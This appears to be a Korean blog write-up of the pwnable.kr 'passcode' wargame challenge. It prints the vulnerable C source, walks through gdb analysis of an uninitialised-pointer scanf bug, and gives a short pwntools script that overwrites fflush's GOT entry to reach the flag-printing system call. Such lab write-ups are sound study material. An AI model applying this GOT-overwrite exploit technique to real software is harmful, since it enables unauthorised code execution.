Pwnstar
Pwnable.kr passcode 본문
5번째 문제 passcode이다
저기로 접속을 하면
이렇게 파일이 세 개 나온다.
우선 코드를 살펴보자.
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
이름을 100자 이내로 입력할 수 있고, login 함수로 넘어가는데 passcode를 입력 받는 부분이 이상하다.
입력을 받을 때, scanf("%d", &passcode1); 이런식으로 입력을 받아야 하는데, &가 빠져있다.
우선 아무 입력이나 받아보았다.
이렇게 passcode1에 BBBB를 입력했는데 passcode2를 입력받지도 못하고 종료되어 버렸다.
우선 gdb로 열어봐야겠다.
이름을 입력 받는 곳에 break point를 걸어놓고 어디에 입력값이 들어가는 지 찾아봤다.
이렇게 A를 8개로 입력으로 주었는데 ebp-0x70(112) 부분에 입력을 받고 있었다. 그 다음 passcode1을 입력 받는 곳에 break point를 걸고 분석해보았다.
이 부분을 보면 ebp-0x10에 passcode1의 값이 들어갈 것 같은데 잘 확인이 안된다 그런데 이론상
0x70(112)-0x10(16) = 96이니까 이름을 입력받는 부분에 dummy를 96개 넣고 그 다음 4바이트는 passcode로 들어가지 않을까??하는 생각이 들었다.
느낌이 대충 got overwrite의 연습같은 느낌인데...passcode2는 ebp-0xc에 위치해있으니
dummy (96바이트) + 덮어씌울 주소(4바이트) + 덮어쓸 주소(system) 4바이트로 주면 쉘이 따질 것 같다.(passcode2는 정수형이니 system 부분 주소를 정수로 넣어주면 될 것 같다.)
자..이제 코드를 짜 보자
.
.
.
from pwn import*
p = process("/home/passcode/passcode")
ff = 0x804a004 #fflush got
payload = "A"*96
payload += p32(ff)
p.sendline(payload)
p.sendline("134514147")
p.interactive()
요렇게 짜고 돌려주면??
짠
'Pwnable.kr > Toddler's Bottle' 카테고리의 다른 글
Pwnable.kr input (0) | 2020.03.15 |
---|---|
Pwnable.kr random (0) | 2020.03.15 |
Pwnable.kr flag (0) | 2020.03.03 |
Pwnable.kr bof (0) | 2020.03.02 |
Pwnable.kr collision (0) | 2020.03.02 |